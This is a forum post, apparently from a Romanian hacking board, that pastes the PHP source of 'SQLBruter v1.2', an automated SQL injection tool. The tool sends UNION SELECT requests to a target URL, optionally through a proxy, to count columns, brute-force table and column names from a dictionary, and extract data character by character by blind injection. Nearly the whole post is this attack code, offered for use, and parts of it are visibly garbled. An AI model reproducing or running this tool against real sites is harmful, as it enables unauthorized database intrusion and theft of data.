Super Moderator
Data inscrierii: 29/Aug/2007
Mesaje: 34
|
|
| Cod: |
<?
###############################################
# SQLBruter v1.2 #
# (c)oded by Raz0r #
# ICQ 502210 #
# Greets to InAttack #
###############################################
error_reporting(7);
set_magic_quotes_runtime(0);
@set_time_limit(0);
@ini_set("max_execution_time",0);
@ini_set("output_buffering",0);
@ini_set("default_socket_timeout",5);
if (function_exists("ob_start")) ob_start('ob_tidyhandler');
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
$self=basename($HTTP_SERVER_VARS['PHP_SELF']);
echo "<html>
<Io>
<head><title>::SQLBruter 1.2 (coded by Raz0r)::</title>
<style>
Body {
; Font-Family: Arial;
; Font-size: 14px;
}
INPUT.speed {
; Font-Family: Arial;
; Font-size: 14px;
; Border-style: none;
; BackGround-color: transparent;
}
TABLE {
; Font-Family: Arial;
; Font-size: 14px;
}
TD.strconv {
; Font-Family: Verdana;
; Font-size: 4px;
}
DIV.copyright {
; Font-Family: Arial;
; Font-size: 12px;
; color: SILVER;
}
</style>
</head>";
if ((!isset($_POST['submit'])) && (!isset($_GET['encode'])))
{
die ("
<body>
<Font>
<Center>
<H1><Font>SQLBruter 1.2</font></H1>
<Form>
<Table>
<Tr>
<Td>
<Table>
<Tr>
<Td>
<table><tr><td>URL</td> <td><Input></td></table>
<table><tr><td>String</td> <td><Input></td></table>
<table><tr><td>log file</td> <td><Input></td></table>
<table><tr><td>proxy</td><td><Input></td></table>
<table><tr><td>mode</td><td>
<Input>Number of selected rows bruteforce <BR>
<Input>Names of tables bruteforce <BR>
<Input>Names of columns bruteforce<Br>
<Input>Character-oriented bruteforce</td></table>
<div><table><tr><td>max number of rows to brute</td> <td>
<Input></td></table>
<table><tr><td>get columns which can output information</td> <td>
<Input></td></table></div>
<div><table><tr><td>number of the selected rows</td> <td>
<Input></td></table><table><tr><td>path to the dictionary file</td><td>
<Input></td></tr><table><tr><td>prefix</td><td>
<Input></td></tr></table></div>
<div><table><tr><td>number of the selected rows</td> <td>
<Input></td></table><table><tr><td>path to the dictionary file</td><td>
<Input></td></tr><table><tr><td>name of the table to brute</td><td>
<Input></td></tr></table></div>
<div><table><tr><td>DB query</td> <td>
<Input></td></table><table><tr><td>use specific range of chars</td><td>
<Input> <Input></td></tr></table></div>
</Td>
</Tr>
</Table>
</Td>
</Tr>
</Table><BR><A>String converter</A><Br><Br>
<Input>
<BR><BR><Div><B>Raz0r</B> 2007 ©</Div></Center>
</body>
</html>"
);
}
elseif (isset($_GET['encode']))
{
$strconv = $_POST['strconv_post'];
$len = strlen($strconv);
echo "<body>
<Center>
<H1><Font>SQLBruter 1.2</font></H1>
<Form>
<Table>
<Tr>
<Td>
<Table>
<Tr>
<Td>
<table><tr><td>
<Input>
<Input><Br><Br></td></tr></table>";
for ($i = 0; $i <len> 0) && (isset($_POST['submit_encode']))) $ascii = "CHAR(".$res.")"; else $ascii = null;
if (($len > 0) && (isset($_POST['submit_encode']))) $hex = "0x".bin2hex($strconv); else $hex = null;
if(isset($_POST['submit_encode'])) $base64 = base64_encode($strconv);
if(isset($_POST['submit_encode']))$md5= md5($strconv);
if(isset($_POST['submit_encode']))$sha1 = sha1($strconv);
echo "<Table>
<Tr>
<Td>
<Table>
<Tr><Td>
<table><tr><td>ASCII (SQL syntax)</td> <td><TextArea>$ascii</TextArea></td><Td><input></Td></table>
<table><tr><td>HEX</td> <td><TextArea>$hex</TextArea></td><Td><input></Td></table>
<table><tr><td>BASE64</td> <td><TextArea>$base64</TextArea></td><Td><input></Td></table>
<table><tr><td>MD5</td> <td><TextArea>$md5</TextArea></td><Td><input></Td></table>
<table><tr><td>SHA1</td> <td><TextArea>$sha1</TextArea></td><Td><input></Td></table>
</Td>
</Td>
</Tr>
</Table>
</Td>
</Tr>
</Table></Td>
</Tr>
</Table></Td>
</Tr>
</Table><Div><BR><BR><B>Raz0r</B> 2007 ©</Div></Center></body></html>";
die;
}
if (!empty($_POST['url_post'])) $url = $_POST['url_post']; else die("NO URL");
if (!empty($_POST['string_post'])) $string = $_POST['string_post']; else die("NO STRING");
if (!empty($_POST['mode_post'])) $mode = $_POST['mode_post']; else die("NO MODE");
if (!empty($_POST['log_post'])) $log = $_POST['log_post'];
if (!empty($_POST['proxy_post']))$proxy = $_POST['proxy_post'];
$c = preg_match($proxy_regex,$proxy);
if (!$c) die("NOT A VALID PROXY");
$conn = @parse_url($url);
$host = $conn["host"];
$path = $conn["path"];
$param = $conn["query"];
if (isset($conn["port"])) $port = $conn["port"]; else $port=80;
switch ($mode)
{
case 1:
if (!empty($_POST['max_post'])) $max = $_POST['max_post']; else die("NO MAX NUMBER OF ROWS");
if (!empty($_POST['getcols_post'])) $getcols = $_POST['getcols_post'];
if ($getcols == "on") $getcols = 1; else $getcols = 0;
show_params();
mode1($url, $string, $max, $getcols);
break;
case 2:
if (!empty($_POST['rows1_post'])) $rows = $_POST['rows1_post']; else die("NO ROWS");
if (!empty($_POST['dic1_post'])) $dic = $_POST['dic1_post']; else die("NO DICTIONARY");
if (!empty($_POST['pref_post'])) $pref = $_POST['pref_post'];
show_params();
brute($url, $string, $rows, $dic, FALSE);
break;
case 3:
if (!empty($_POST['rows2_post'])) $rows = $_POST['rows2_post']; else die("NO ROWS");
if (!empty($_POST['dic2_post'])) $dic = $_POST['dic2_post']; else die("NO DICTIONARY");
if (!empty($_POST['table_post'])) $table = $_POST['table_post']; else die("NO TABLE");
show_params();
brute($url, $string, $rows, $dic, $table);
break;
case 4:
if (!empty($_POST['query_post'])) $query = $_POST['query_post']; else die("NO QUERY");
if (!empty($_POST['ot_post'])) $ot = $_POST['ot_post']; else $ot = 97;
if (!empty($_POST['do_post'])) $do = $_POST['do_post']; else $do = 122;
show_params();
mode4($url, $string, $query, $ot, $do);
break;
}
function mode_name($mode)
{
$modes = array("Number of selected rows bruteforce", "Names of tables bruteforce", "Names of columns bruteforce", "Character-oriented bruteforce");
return $modes[$mode-1];
}
function show_params()
{
global $url, $string, $mode, $log, $proxy, $max, $rows, $dic, $pref, $table, $query, $ot, $do;
$mode_name = mode_name($mode);
echo "
<body>
<script>
<var>
</script>
<Font>
<Center>
<H1><Font>SQLBruter 1.2</font></H1>
<Table>
<Tr>
<Td>
<Table>
<Tr>
<Td>
<Table>
<Tr>
<Td>
<table><tr><td><B>URL</B></td> <td>".htmlspecialchars($url)."</td></table>
<table><tr><td><B>String</B></td> <td>".htmlspecialchars($string)."</td></table>
<table><tr><td><B>Mode</B></td><td>".htmlspecialchars($mode_name)."</td></table>
";
if (isset($log)) echo "<table><tr><td><B>Log file</B></td> <td>".htmlspecialchars($log)."</td></table>";
if (isset($proxy)) echo "<table><tr><td><B>Proxy</B></td> <td>".htmlspecialchars($proxy)."</td></table>";
switch ($mode)
{
case 1:
echo "<table><tr><td><B>Rows max number</B></td> <td>".htmlspecialchars($max)."</td></table>";
break;
case 2:
echo "<table><tr><td><B>Number of the selected rows</B></td> <td>".htmlspecialchars($rows)."</td></table>";
echo "<table><tr><td><B>Dictionary</B></td> <td>".htmlspecialchars($dic)." (".checkdic($dic)." words)</td></table>";
if (isset($pref)) echo "<table><tr><td><B>Prefix</B></td> <td>".htmlspecialchars($pref)."</td></table>";
break;
case 3:
echo "<table><tr><td><B>Number of the selected rows</B></td> <td>".htmlspecialchars($rows)."</td></table>";
echo "<table><tr><td><B>Dictionary</B></td> <td>".htmlspecialchars($dic)." (".checkdic($dic)." words)</td></table>";
echo "<table><tr><td><B>Table</B></td> <td>".htmlspecialchars($table)."</td></table>";
break;
case 4:
echo "<table><tr><td><B>Query</B></td> <td>".htmlspecialchars($query)."</td></table>";
echo "<table><tr><td><B>From</B></td> <td>".htmlspecialchars($ot)."</td></table>";
echo "<table><tr><td><B>To</B></td> <td>".htmlspecialchars($do)."</td></table>";
break;
}
echo "</Td></Tr></Table></Td></Tr></Table><BR>";
flush();
}
function sendpacket($packet)
{
global $host, $port, $proxy;
if (empty($proxy))
{
$ock = @fsockopen(@gethostbyname($host),$port);
stream_set_blocking($ock, 0);
stream_set_timeout($ock,600);
if (!$ock)
{
echo "No response from ".$host.":80<br>";
}
else
{
fputs($ock, $packet);
$html="";
while (!feof($ock))
{
$html.=fgets($ock);
}
}
}
else
{
$parts=explode(":",$proxy);
$ock2=@fsockopen($parts[0],$parts[1]);
if (!$ock2)
{
echo "No response from proxy ($proxy)";
}
else
{
fputs($ock2,$packet);
$html="";
while ((!feof($ock2)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock2,1);
}
}
}
return $html;
}
function savelogfile($logfile, $mode, $text)
{
if (!is_file($logfile))
{
$s = @fopen($logfile,"w");
fclose($s);
chmod($logfile,0777);
}
$fp = @fopen($logfile,"a");
fputs($fp, "*** SQLBruter's report [".date(" l dS 0f F Y h:i:s A ")."] ***\r\n");
fputs($fp, "[~] ".mode_name($mode)."\r\n".$text."\r\n");
fputs($fp, "____________________________________________________________________\r\n");
fclose($fp);
}
function checkdic($dic)
{
$handle = @fopen($dic, "r");
if ($handle)
{
while (!feof($handle))
{
$buffer = fgets($handle, 4096);
$x++;
}
fclose($handle);
}
else die("INVALID DICTIONARY");
return $x;
}
function mode1($url, $string, $max, $getcols)
{
global $log, $proxy, $host, $path, $param;
echo "<Form><Input></Form>"; flush();
for ($i = 0; $i <max> 0) $null .=",0"; else $null = "0";
$packet = "GET ".$path."?".$param."%20UNION%20SELECT%20".$null."/* HTTP/1.1\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "Connection: Close\r\n\r\n";
$content = sendpacket($packet);
if (strpos($content, $string)>0)
{
if ($getcols == 1)
{
for ($z = 1; $z <i> 1) $razor .=",0x72617a3072".bin2hex($z);
else $razor = "0x72617a3072".bin2hex($z);
}
$temp = explode("=", $param);
$temp[(sizeof($temp)-1)] = "-1";
$param = implode("=", $temp);
$packet = "GET ".$path."?".$param."%20UNION%20SELECT%20".$razor."/* HTTP/1.1\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "Connection: Close\r\n\r\n";
$content = sendpacket($packet);
for ($y = 1; $y <i> 0) $visiblecols[] .= $y;
}
if (!is_array($visiblecols)) {$nocols = 1;}
}
echo "<script>InsertText('Done!');</script>";
echo "<Table><Tr><Td><Table><Tr><Td>Number of rows is ".($i+1)."<BR>";
if (($getcols == 1) && ($nocols != 1)) {$result = $url." UNION SELECT ".$null."/*<BR>Columns ".@implode(",", $visiblecols)." can output information";}
elseif ($nocols == 1) $result = $url." UNION SELECT ".$null."/*<BR>No columns which can output information";
else $result = $url." UNION SELECT ".$null."/*";
echo $result;
echo "</Td></Tr></Table></Td></Tr></Table></Td></Tr></Table></body></html>";
flush();
if (isset($log)) {$result = str_replace("<BR>", "\r\n", $result); savelogfile($log, 1, $result);}
die;
}
}
echo "<script>InsertText('Failed! Try to increase max number of selected rows');</script>"; flush();
}
function brute($url, $string, $rows, $dic, $table)
{
global $log, $proxy, $pref, $host, $path, $param;
$x = checkdic($dic);
echo "<Form><Input></Form>";
flush();
$handle = @fopen($dic, "r");
if ($handle)
{
$begin_time = time();
if ($table === FALSE)
{
for ($i = 0; $i <rows> 0) $null .=",0";
else $null = "0";
}
}
else
{
for ($i = 0; $i <rows> 0) $null .=",0";
else $null = "0";
}
}
for ($i = 0; $i < $x; $i++)
{
$word = fgets($handle, 4096);
$word = ereg_replace("\n", "", $word);
$word = ereg_replace("\r", "", $word);
$word = trim($word);
if (isset($pref)) $word = $pref."_".$word;
if (($word !== "") & (!is_numeric($word)) & (!strpos($word,"-")) & (!strpos($word, " ")))
{
if ($table === FALSE) $packet = "GET ".$path."?".$param."%20UNION%20SELECT%20".$null."%20FROM%20".urlencode($word)."/* HTTP/1.1\r\n";
else $packet = "GET ".$path."?".$param."%20UNION%20SELECT%20".$null.",".urlencode($word)."%20FROM%20".$table."/* HTTP/1.1\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "Connection: Close\r\n\r\n";
$content = sendpacket($packet);
$z++;
$r++;
if ($begin_time + 1 == time())
{
$begin_time += 1;
$percent = round($z/$x * 100);
$words_per_second = $r;
$r = 0;
echo "<script>InsertText('Completed - ".$percent."%\tCurrent speed - ".$words_per_second." words per second');</script>";
flush();
}
elseif ($begin_time + 1 </script>0)
{
if ($table === FALSE)
{
$result = $url." UNION SELECT ".$null." FROM ".$word."/*";
echo "<Table><Tr><Td><Table><Tr><Td>Table was found - $word<br>$result</Td></Tr></Table></Td></Tr></Table><BR>";
}
else
{
$result = $url." UNION SELECT ".$null.",".$word." FROM ".$table."/*";
echo "<Table><Tr><Td><Table><Tr><Td>Column was found - $word<br>$result</Td></Tr></Table></Td></Tr></Table><BR>";
}
flush();
if (isset($log))
{
if ($table === FALSE) savelogfile($log, 2, $result);
else savelogfile($log, 3, $result);
}
}
}
}
}
}
function found($min, $max, $sp, $result)
{
if (($max-$min)<5) crack($min,$max, $sp, $result);
$r = round($max - ($max-$min)/2);
$check = ">$r";
if ( check($check, $sp, $result))
{
if (!empty($result)) $status = "(".$result.")";
print "<script>InsertText('Now checking > $r $status');</script>";
flush();
found($r,$max, $sp, $result);
}
else
{
if (!empty($result)) $status = "(".$result.")";
print "<script>InsertText('Now checking < $r $status');</script>";
flush();
found($min,$r+1, $sp, $result);
}
}
function crack($cmin, $cmax, $sp, $result)
{
global $ot, $do, $output, $query;
$i = $cmin;
$check1 = ">0";
if (check($check1, $sp, $result))
{
while ($i</script> 0) return 1;
return 0;
}
function mode4($url, $string, $query, $ot, $do)
{
global $log, $proxy, $host, $path, $param;
echo "<Form><Input></Form>";
flush();
found($ot, $do, 1, "");
}
if (($mode_post == 2) || ($mode_post == 3) ) echo "<script>InsertText('Completed - 100%');</script>";
echo "</Td></Tr></Table></body></html>";
flush();
?> |
|
_________________
Ras - RO Team |
|
